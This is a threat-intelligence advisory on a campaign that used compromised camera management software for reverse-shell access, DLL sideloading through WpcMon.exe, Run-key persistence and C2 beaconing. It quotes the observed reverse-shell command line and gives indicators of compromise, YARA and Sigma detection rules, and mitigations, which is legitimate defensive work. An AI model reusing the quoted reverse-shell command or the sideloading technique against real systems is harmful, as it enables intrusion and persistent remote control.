~/f4n6 $ grep -r "Camera management software compromise enables DLL sideloading and malware deployment" ./investigations/ --include="*.md"

Camera management software compromise enables DLL sideloading and malware deployment

Jeff Davies 28 Oct 2026 7 min read

1. Executive summary

Huntress reports a series of incidents in September and October 2026 in which an unidentified threat actor used compromise of a camera management platform (CMS.exe, installed at C:\Program Files (x86)\CMS\CMS.exe) as the initial access vector into customer environments. Post-compromise, the actor dropped a reverse-shell utility (rs.win32.exe) into a user-writable AppData path, sideloaded malicious DLLs (IPHLPAPI.DLL and samcli.dll, both modified zlib libraries carrying beacon functionality) through the legitimate Microsoft binary WpcMon.exe, and established persistence via the user Run registry key, with command-and-control to 144.172.116[.]37. No CVE has been assigned and no CISA KEV entry exists for this item; the exploitation state is "observed in the wild" per a single vendor (Huntress), not a tracked vulnerability. For EMEA financial services the exposure is concentrated in physical-security and facilities estates where camera management software is often installed outside standard asset inventory and patching, giving an actor a foothold on a Windows endpoint from which the chain to beaconing is short. Attribution is unconfirmed: no actor is named in the source and no MITRE ATT&CK profile is available for this item.

2. Regulatory framing

Article Trigger (the fact in this item) Practical impact
DORA Art. 28 Initial access came through a third-party camera management platform (CMS.exe) whose vendor and version could not be identified from the binary, and for which no application logs were available. The ICT third-party register must capture this class of physical-security software, including vendor identity and logging capability; where the vendor cannot be identified, that gap is itself a registerable third-party risk.
DORA Art. 17 The chain relies on user-writable AppData paths and a user Run-key persistence mechanism that standard endpoint controls did not stop, and the source notes no application logs existed for CMS.exe. Incident management process must extend detection coverage to camera management platforms and user-writable execution paths, and must define how an incident is handled when the originating application produces no logs.
NIS2 Art. 21(2)(d) The entry point is software supplied by a third party (camera management vendor, possibly linked to 3r-dataware[.]com / kvision[.]ai per Huntress, unconfirmed) with no verifiable version information. Supply chain security measures must cover physical-security software procurement, including vendor verification and integrity checks before deployment.

3. Technical analysis & attack chain

Huntress observed a handful of incidents across multiple customer environments in September and October 2026. The chain was loosely consistent across them. The source does not identify the actor, the initial-access mechanism into CMS.exe, or the exact CMS version.

Confirmed steps, in order:

  1. Initial access via a compromised camera management platform. The binary sits at C:\Program Files (x86)\CMS\CMS.exe. Huntress could not determine the vendor because the file has no embedded File Version Information section, and could not locate application logs, so the mechanism by which the actor compromised CMS itself is not established.
  2. Tool drop. The actor wrote rs.win32.exe to C:\Users\<user>\AppData\Roaming\CMS\RemoteSetup\, a user-writable path rather than the protected Program Files directory.
  3. Reverse shell launch. The command line observed was: rs.win32.exe -i "<IP Address>" -p "8000" -c <file> -r <file> "admin" "1234567a7654321" The -i and -p "8000" arguments supply a remote IP and port, and the trailing "admin" and "1234567a7654321" are an admin username and password for the remote-control session. Huntress assessed this as a reverse shell.
  4. DLL sideloading via a legitimate signed binary. The actor dropped the genuine Microsoft Windows Parental Control Monitor binary WpcMon.exe into C:\Users\<user>\AppData\Local\Microsoft\WpcMon\. The hash matched the legitimate Microsoft file; the anomaly is the location, since WpcMon.exe normally resides in C:\Windows\system32. Beside it the actor placed two malicious DLLs, IPHLPAPI.DLL and samcli.dll, both of which appear to be legitimate zlib compression libraries modified to add beaconing. WpcMon.exe loads them from its own directory, executing the actor's code.
  5. Persistence. A value was written under the current user's Run registry key referencing the dropped WpcMon.exe path, so the payload launches at user sign-in.
  6. Command and control. In all incidents the beacon contacted 144.172.116[.]37.

The process tree observed was CMS.exe spawning rs.win32.exe, which in turn spawned WpcMon.exe on first execution.

Software provenance, single-sourced and unconfirmed. Huntress found three notable strings in CMS.exe: developerslavery, d3e3v4e3l9o9p0e3r4s2l9a1v4e3r4y6, and hxxp://cloudapi.3r-dataware[.]com/sso/. The domain 3r-dataware[.]com points to a Korean company called 3R Global. A CMS package on the kvision[.]ai download page contains the same strings and the same 3r-dataware.com address. Huntress explicitly states the link between the CMS.exe on customer endpoints and kvision[.]ai is a possible source only, not a confirmed vendor relationship. Treat the vendor identity as unresolved. This matters for third-party risk: you cannot patch a product whose supplier you cannot name.

What the source does not provide: no CVE, no vulnerability class for the CMS compromise, no hash for CMS.exe or WpcMon.exe, no registry value name, no C2 protocol detail, no lateral-movement or data-exfiltration evidence, and no ransomware or extortion activity. Do not infer any of these.

4. Mitigation & containment

P1 (within 24 hours)

  • Hunt for the C2 address 144.172.116[.]37 in proxy, firewall and DNS logs, and for outbound connections on port 8000 to external hosts. Block 144.172.116[.]37 at egress.
  • Search endpoints for the three known file hashes (rs.win32.exe, samcli.dll, IPHLPAPI.DLL) and for the paths C:\Users\*\AppData\Roaming\CMS\RemoteSetup\ and C:\Users\*\AppData\Local\Microsoft\WpcMon\. Any hit is a confirmed compromise of this chain; isolate the host.
  • Check each user's Run registry key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) for a value pointing at a WpcMon.exe path under AppData. Remove it and treat the host as compromised.
  • Inventory every host running C:\Program Files (x86)\CMS\CMS.exe. Where the business does not need the platform, uninstall it. Where it is needed, restrict its network access to the camera VLAN only.

P2 (within 72 hours)

  • Apply application control (WDAC or AppLocker) to block execution of unsigned or unapproved binaries and DLLs from user-writable paths, specifically AppData\Roaming and AppData\Local. This breaks the rs.win32.exe and WpcMon.exe sideload steps regardless of hash.
  • Add EDR detections for the process sequence CMS.exe to rs.win32.exe to WpcMon.exe, and for any WpcMon.exe executing outside C:\Windows\system32.
  • Because the vendor and version of CMS.exe cannot be established and no application logs exist, treat the platform as unmanaged: place it behind a firewall rule set that permits only the camera subnet, and capture network flow logs for it.

P3 (within 7 days)

  • Add camera management platforms to the asset and third-party registers with vendor identity recorded. Where the vendor cannot be identified (as here), record that as an open risk and seek a supported, versioned replacement.
  • Review procurement of physical-security software so that vendor verification and binary integrity checks happen before deployment.

No vendor fix is named in the source because the vulnerable component and its supplier are unidentified. Patching is not available for the CMS compromise; containment and application control are the controls that apply.

5. Indicators of compromise

Type Value Confidence Source
sha256 1fb4af4862643dcab1459872f723f574f1a588855b020916b600df5c20681144 high Huntress (rs.win32.exe)
sha256 8f8e88c54a9c56174974711eff99b4beb79536642fcca1902acdc3d4b1fd1035 high Huntress (samcli.dll)
sha256 70b2345302264c41504d59e6a63d6d908969740424b42b7373f10b4c8d74c87a high Huntress (IPHLPAPI.DLL)
ipv4 144.172.116[.]37 high Huntress (C2)
domain cloudapi.3r-dataware[.]com medium Huntress (string in CMS.exe; vendor link unconfirmed)
domain 3r-dataware[.]com medium Huntress (vendor link unconfirmed)
domain kvision[.]ai low Huntress (possible download source only, explicitly unconfirmed)

The three hashes and the C2 IP are the enforceable indicators. The domains rest on a single vendor's analysis and the kvision[.]ai link is stated by Huntress as possible, not confirmed; verify before blocking business-relevant domains.

sha256  1fb4af4862643dcab1459872f723f574f1a588855b020916b600df5c20681144
sha256  8f8e88c54a9c56174974711eff99b4beb79536642fcca1902acdc3d4b1fd1035
sha256  70b2345302264c41504d59e6a63d6d908969740424b42b7373f10b4c8d74c87a
ipv4  144.172.116[.]37
domain  cloudapi.3r-dataware[.]com
domain  3r-dataware[.]com
domain  kvision[.]ai

Behavioural indicators (no atomic indicator exists for these; observe in process, registry and network telemetry):

Behaviour Where to observe Confidence
CMS.exe spawns rs.win32.exe from AppData\Roaming\CMS\RemoteSetup EDR process tree high
rs.win32.exe launched with -i, -p "8000", -c, -r and trailing admin credentials Process command line high
WpcMon.exe executing from AppData\Local\Microsoft\WpcMon rather than System32 Process image path high
IPHLPAPI.DLL or samcli.dll loaded from the WpcMon directory Module load events high
Run-key value referencing a WpcMon.exe path under AppData Registry (HKCU Run) high
Outbound connection to 144.172.116[.]37 Firewall, proxy, DNS high

6. Detection

YARA rule built from the strings Huntress found in CMS.exe and the file names in the chain. The CMS strings are the only distinctive artefacts available; the DLLs are modified zlib libraries, so string-based detection of them is weak and hash matching is preferred.

rule AT_CMS_CameraMgmt_Implant_Strings
{
    meta:
        author = "Adverse Trace"
        date = "2026-10-28"
        reference = "https://www.huntress.com/blog/camera-management-software-compromise-malware"
        description = "Detects CMS.exe carrying the developer-slavery marker strings and 3r-dataware SSO endpoint reported by Huntress"
    strings:
        $s1 = "developerslavery" ascii wide
        $s2 = "d3e3v4e3l9o9p0e3r4s2l9a1v4e3r4y6" ascii wide
        $s3 = "cloudapi.3r-dataware.com/sso/" ascii wide
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

Sigma rule for the process and registry behaviour. Adjust field names to your EDR schema.

title: Camera Management Software Spawning Reverse Shell and Sideloaded WpcMon
id: 8f2c1a44-6b7e-4d2a-9c31-7a5e0b1d9f62
status: experimental
author: Adverse Trace
date: 2026/10/28
references:

  - https://www.huntress.com/blog/camera-management-software-compromise-malware
description: Detects CMS.exe spawning rs.win32.exe from AppData and WpcMon.exe executing outside System32, per Huntress reporting
logsource:
  category: process_creation
  product: windows
detection:
  selection_cms:
    ParentImage|endswith: '\CMS.exe'
    Image|endswith: '\rs.win32.exe'
  selection_wpcmon:
    Image|endswith: '\WpcMon.exe'
    Image|startswith: 'C:\Users\'
  selection_cmdline:
    CommandLine|contains|all:

      - 'rs.win32.exe'
      - '-p "8000"'
  condition: selection_cms or selection_wpcmon or selection_cmdline
falsepositives:

  - Legitimate WpcMon.exe runs from System32 are excluded by the path condition; verify any AppData execution
level: high

7. Sources

  • Huntress, "Camera Management Software Compromise Leads to Malware Deployment", 2026-10-27. https://www.huntress.com/blog/camera-management-software-compromise-malware

This is the only source for this item. Every technical fact, hash, path and indicator above derives from it. The vendor provenance (3r-dataware[.]com, kvision[.]ai) is single-sourced and stated by Huntress as unconfirmed.

8. Adverse Trace position

Adverse Trace assesses this as a moderate-severity, unconfirmed-attribution campaign: no CVE, no CISA KEV entry and no named actor, so it does not carry the urgency of an actively exploited tracked vulnerability, but the chain is short and the entry point (camera management software) is commonly outside standard patching and inventory in financial-services estates. The enforceable indicators are the three file hashes and the C2 IP 144.172.116[.]37; the vendor domains are single-sourced and should be verified before enforcement. We will monitor for additional reporting that identifies the CMS vendor or the actor, and will reissue this advisory if a CVE, KEV entry or corroborating source appears. Clients should prioritise the P1 hash and path hunts and the P2 application-control change, since no vendor patch exists for the compromised component.


Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.

Post this to LinkedIn
Formatting is converted automatically — headings, bullets, a link back & hashtags. Paste straight in.
J
Jeff Davies